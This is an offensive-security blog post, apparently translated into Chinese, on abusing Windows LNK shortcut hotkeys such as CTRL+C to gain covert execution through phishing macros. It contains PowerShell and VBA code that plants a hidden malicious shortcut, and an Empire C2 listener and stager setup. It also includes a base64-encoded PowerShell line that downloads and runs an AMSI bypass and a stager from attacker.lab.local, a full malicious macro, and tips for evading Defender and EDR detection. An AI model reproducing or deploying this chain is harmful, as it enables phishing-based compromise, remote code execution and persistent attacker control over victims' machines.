滥用 LNK “功能”进行初始访问和持久性

前言

今天我们将讨论滥用.LNK触发键作为实现初始访问和持久性的一种手段。我第一次听说这个话题是在Flangvik的直播中,他简要提到了这个方法。奇怪的是,除了Hexacorn2015 年的一篇博文外,我找不到任何关于它的更多信息。因此,我决定稍微扩展一下最初的想法,并与他人分享我的思考过程。希望你喜欢!

奠定基础

宏是一项允许在 Microsoft Office 套件中实现任务自动化的功能。由于任务自动化的广泛应用和可能性,攻击者也喜欢自动化他们自己的“任务”也就不足为奇了。防御者意识到了这一点,并且通常会部署积极的反制措施,这会极大地阻碍交战期间的宏观可用性。我今天要讲的方法应该为您提供一种巧妙的方法来规避一些保护措施,前提是宏没有在系统上被彻底禁用。

LNK 文件

根据 Microsoft 的说法,LNK文件是 Windows 用作对原始文件、文件夹或应用程序的引用的快捷方式或“链接”。在标准用户的眼中,这些文件具有有意义的目的,因为它们允许文件组织和工作空间的整理。然而,从攻击者的角度来看,LNK文件看起来不同。它们已被高级持续威胁 (APT) 组织在许多记录在案的攻击中滥用,据我所知,它们仍然是网络钓鱼、持久性、有效负载执行和凭据收集的可行选择。如果您自己没有听说过这些攻击,或者想拓宽您的视野,我在下面为您留下了一些链接。

  • OLE + LNK 网络钓鱼
  • 持久化快捷方式修改
  • 通过 LNK 图标强制 NetNTLM 身份验证
  • Higaisa APT LNK 攻击

    快捷键触发键

    说到执行,很多人不知道的是,Windows快捷键可以注册一个快捷键,在本博客中也将其称为“激活键”或“触发键”。
    image.png
    Process Hacker 2 LNK 快捷方式,无需激活密钥
    如果在用户桌面上放置了带有激活键的快捷方式,则每次调用指定的组合键都将导致执行该快捷方式。有了这些知识,我们就可以将激活键设置为一个常用的组合键,如CTRL+C, CTRL+V, CTRL+Z等。如果机器正在被某些人使用,并且至少是间歇性地使用快捷方式,那么我们应该能够在系统上实现任意执行。这种意识形态是我们攻击方法的核心。

    注意:资源管理器仅允许以 CTRL+ALT 序列开头的快捷方式。其他序列需要通过 COM 以编程方式设置(请参见下一节)。

编辑:根据文档,即使将快捷方式放在“启动”菜单中,它们也应该是可触发的。不幸的是,我无法完成这项工作。

通过 COM 制作恶意 LNK 文件

PowerShell

以下 PowerShell 脚本可用于使用自定义激活密钥创建恶意快捷方式:

  1. $path = "$([Environment]::GetFolderPath('Desktop'))\FakeText.lnk"
  2. $wshell = New-Object -ComObject Wscript.Shell
  3. $shortcut = $wshell.CreateShortcut($path)
  4. $shortcut.IconLocation = "C:\Windows\System32\shell32.dll,70"
  5. $shortcut.TargetPath = "cmd.exe"
  6. $shortcut.Arguments = "/c calc.exe"
  7. $shortcut.WorkingDirectory = "C:"
  8. $shortcut.HotKey = "CTRL+C"
  9. $shortcut.Description = "Nope, not malicious"
  10. $shortcut.WindowStyle = 7
  11. # 7 = Minimized window
  12. # 3 = Maximized window
  13. # 1 = Normal window
  14. $shortcut.Save()
  15. (Get-Item $path).Attributes += 'Hidden' # Optional if we want to make the link invisible (prevent user clicks)

对我们来说幸运的是,代码并不太复杂。
首先,在第 1 行,我们声明了一个指向受害者桌面目录的变量。之后,我们开始慢慢修改我们的快捷方式以满足我们的需求。我们首先给它一个可信的图标,将其设置为执行恶意代码(calc.exe出于演示目的)并将窗口样式设置为最小化,以便在执行快捷方式后不会弹出命令提示符。此外,我们可以通过设置Hidden属性使其不可见,从而在用户视图中隐藏快捷方式。

VBA、VBScript

下面的代码具有与 PowerShell 相同的功能,尽管是用不同的语言编写的:

  1. Set wshell = CreateObject("WScript.Shell")
  2. Dim path
  3. path = wshell.SpecialFolders("Desktop") & "/FakeText.lnk"
  4. Set shortcut = wshell.CreateShortcut(path)
  5. shortcut.IconLocation = "C:\Windows\System32\shell32.dll,70"
  6. shortcut.WindowStyle = 7
  7. shortcut.TargetPath = "cmd.exe"
  8. shortcut.Arguments = "/c calc.exe"
  9. shortcut.WorkingDirectory = "C:"
  10. shortcut.HotKey = "CTRL+C"
  11. shortcut.Description = "Nope, not malicious"
  12. shortcut.Save
  13. ' Optional if we want to make the link invisible (prevent user clicks)
  14. Set fso = CreateObject("Scripting.FileSystemObject")
  15. Set mf = fso.GetFile(path)
  16. mf.Attributes = 2

C#、Python…

多亏了COM,我们可以使用几乎任何语言轻松创建恶意链接文件。对于进攻性的贸易,我会想到C#和Python之类的语言。然而,读者可以自行探索这些方法,因为在这篇博文中涵盖它们会不必要地扩展它。

结果

上述任一脚本都会在用户桌面上创建一个.lnkcalc.exe文件,该文件将在手动或通过激活密钥触发后运行。
image.png
calc.exe执行时将启动的恶意链接文件
LNK - 21.05.28-v3ded - 滥用 LNK “功能”进行初始访问和持久性 - 图3
执行视频演示(CTRL+C按下)
有用!我会称之为成功!如果你跟着,你可能已经注意到一个“小”警告。不幸的是,在链接文件上设置激活密钥将覆盖原始组合键的功能。换句话说,由于我们桌面的快捷方式CTRL+C激活键优先于标准CTRL+C,因此在被利用机器上的复制粘贴现在被破坏了。这不是世界末日,因为这个问题可以(部分地)解决,但它仍然是一个轻微的不便,应该记住。

初始访问优度

如果受害者没有明确禁用宏,我们可以尝试使用在用户桌面上创建不可见、有害快捷方式的有效负载来钓鱼用户。之后,我们将等到按下操纵的组合键。这将触发下载AMSI 绕过并将选择的 C2 加载到内存中的有效负载。暂存完成后,C2 的自动“运行任务”功能将从桌面删除快捷方式,有效恢复原始快捷方式的功能。

演示

注意:该演示侧重于展示概念验证,而不是展示如何完全规避防御解决方案。作为作者,我知道如果在现实生活中重现以下实验室设置,许多检测仪表板会像圣诞树一样亮起。在使用之前了解您的工具!

我的测试实验室由两台机器组成:

主机名 描述
攻击者.lab.local Empire C2(端口 443),登台服务器(端口 80)
受害者实验室本地 Windows 10 Pro 20H2 受害者

对于选择的 C2,我选择了由BC-Security维护的Empire分支。也就是说,在任何其他框架上重现类似的步骤应该是微不足道的。不要害怕尝试!
我们首先设置一个 HTTP 侦听器:

  1. (Empire) > uselistener http
  2. (Empire: listeners/http) > set Name demo
  3. (Empire: listeners/http) > set StagerURI /download/demo
  4. (Empire: listeners/http) > set Host http://attacker.lab.local
  5. (Empire: listeners/http) > set Port 443
  6. (Empire: listeners/http) > execute
  7. [*] Starting listener 'demo'
  8. [+] Listener successfully started!

在下一步中,我们生成一个普通的 stager:

  1. (Empire: listeners/http) > back
  2. (Empire) > usestager multi/launcher
  3. (Empire: stager/multi/launcher) > set Listener demo
  4. (Empire: stager/multi/launcher) > set Base64 false
  5. (Empire: stager/multi/launcher) > set SafeChecks false
  6. (Empire: stager/multi/launcher) > set OutFile /root/demo/www/stager
  7. (Empire: stager/multi/launcher) > execute
  8. [*] Stager output written out to: /root/demo/www/stager

之后,我们将Empire设置为自动运行一个任务,该任务将在收到 shell 后从用户桌面删除恶意快捷方式:

  1. (Empire: stager/multi/launcher) > back
  2. (Empire) > agents
  3. (Empire: agents) > autorun /root/demo/autorun.rc powershell

autorun.rc的内容如下所示:

  1. usemodule management/invoke_script
  2. set ScriptPath /root/demo/autorunscript.txt
  3. set ScriptCmd " "
  4. execute

autorunscript.txt的内容如下所示:

  1. Remove-Item -Force "$([Environment]::GetFolderPath('Desktop'))\FakeText.lnk"

最后,我们在任意 Web 目录中包含一个 AMSI 旁路,例如/root/demo/www/stager,将其保存到一个名为 的文件bypass中,在端口 80 上启动一个 python3http.server并制作我们自己的 Base64 编码 stager,它将下载并执行旁路以及有效负载:

  1. # echo "iEx(new-object net.webclient).downloadString('http://attacker.lab.local:80/bypass'); iEx(new-object net.webclient).downloadString('http://attacker.lab.local:80/stager');" | iconv -f ASCII -t UTF-16LE | base64 -w0 aQBFAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAGEAdAB0AGEAYwBrAGUAcgAuAGwAYQBiAC4AbABvAGMAYQBsADoAOAAwAC8AYgB5AHAAYQBzAHMAJwApADsAIABpAEUAeAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AbABhAGIALgBsAG8AYwBhAGwAOgA4ADAALwBzAHQAYQBnAGUAcgAnACkAOwAKAA==

一切准备就绪后,我们可以继续使用以下宏制作恶意 Office 文档:

  1. Set wshell = CreateObject("WScript.Shell")
  2. Dim path
  3. path = wshell.SpecialFolders("Desktop") & "/FakeText.lnk"
  4. Set shortcut = wshell.CreateShortcut(path)
  5. shortcut.IconLocation = "C:\Windows\System32\shell32.dll,70"
  6. shortcut.WindowStyle = 7
  7. shortcut.TargetPath = "powershell.exe"
  8. shortcut.Arguments = "-nop -ep bypass -enc aQBFAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAGEAdAB0AGEAYwBrAGUAcgAuAGwAYQBiAC4AbABvAGMAYQBsADoAOAAwAC8AYgB5AHAAYQBzAHMAJwApADsAIABpAEUAeAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AbABhAGIALgBsAG8AYwBhAGwAOgA4ADAALwBzAHQAYQBnAGUAcgAnACkAOwAKAA"
  9. shortcut.WorkingDirectory = "C:"
  10. shortcut.HotKey = "CTRL+C"
  11. shortcut.Description = "Nope, not malicious"
  12. shortcut.Save

在部署文档之前,请注意,根据我的有限测试,当初始 PowerShell 参数包含隐藏窗口属性 ( -w hidden) 时,Defender 通常会将任何快捷方式标记为恶意。
如果您使用默认情况下不隐藏窗口的框架,您可以通过制作如下所示的“嵌套”(👍👍👍)PowerShell stager 来绕过此限制:

  1. powershell.exe -enc <base64 encoded: powershell.exe -w hidden -c "iex(...)">

或者,也可以在外部暂存负责隐藏窗口的 PowerShell 进程。这并不理想,但它可以完成工作。绝对比拥有一个用户可以随时打开和关闭的最小化 PowerShell 窗口好得多。

把它们放在一起

如果您按照指南进行操作,则应该设置以下内容:

  • 端口 443 上的Empire侦听器
  • 在暂存后删除 LNK 文件的自动运行脚本
  • 端口 80 上用于暂存的 Python HTTP 服务器
  • bypass在 python web 服务器目录中调用的文件
  • stager在 python web 服务器目录中调用的文件
  • 打开时运行宏的恶意 Office 文档

如果一切顺利,请将恶意文档转移到您的测试机器上。打开文档并启用宏后,您可以验证您的快捷方式是否已部署到桌面环境中。如果是这样,您可以随时按下CTRL+C以激活有效载荷并获得Empire shell!
演示:gif视频

为什么这有用?

查看如何检测恶意宏,可以发现许多 AV 和 EDR 不断监控系统以查找任何可疑的父子进程关系。下图中可以看到这种关系的一个示例。
image.png
可疑PowerShell.exe子进程属于WinWord.exe
以 Microsoft Word 的WinWord.exe进程为例,我们可以看到通过WScript.ShellWord 本身生成 PowerShell 进程有一个不利的缺点,可能会导致不需要的检测。
对我们来说幸运的是,恶意快捷方式激活键可以在这里拯救。如果触发了所述键,它们会直接在 下生成子进程explorer.exe,而不是WinWord.exe. 这应该会减少噪音,并有望使初始访问更加顺畅。
image.png
不那么可疑PowerShell.exe的子进程属于explorer.exe

持久性能力

用户必然会偶尔使用快捷方式,这可能会被误用于实现持久性。不过,我真的没有这种方法的概念证明,因为我只是相信使用触发键进行初始访问更实用。也就是说,获得一个有效的 PoC 应该不是不可能的。如果您使用诸如 之类的组合键CTRL+C,则需要确保有效负载被正确地互斥,以免每分钟触发一个新的 shell。此外,您还必须担心通过使可执行文件调用填充剪贴板的 API 来恢复原始快捷方式的功能。不用说,这会很快变得复杂。当谈到用户级别的持久性时,我可能会选择一种不同的方法。
或者,对于那些懒惰的攻击者,还有一个选项来操纵不经常使用的快捷方式,例如Captial(CapsLock)F11等等。如果这些键中的任何一个不起作用,那么它们就不会引起用户的怀疑,因为用户可以轻松解决没有正常工作的 CapsLock 的轻微烦恼。这是一场赌博,但值得吗?你的来电。

荣誉

感谢 Flangvik让我知道这种方法!看看这家伙,他做了一些惊人的研究。他还有一个 YouTube频道和一个Twitch频道,我怎么推荐都不为过。我还要感谢Jack校对了这个博客,并确保我没有说一些愚蠢的话。你们真棒!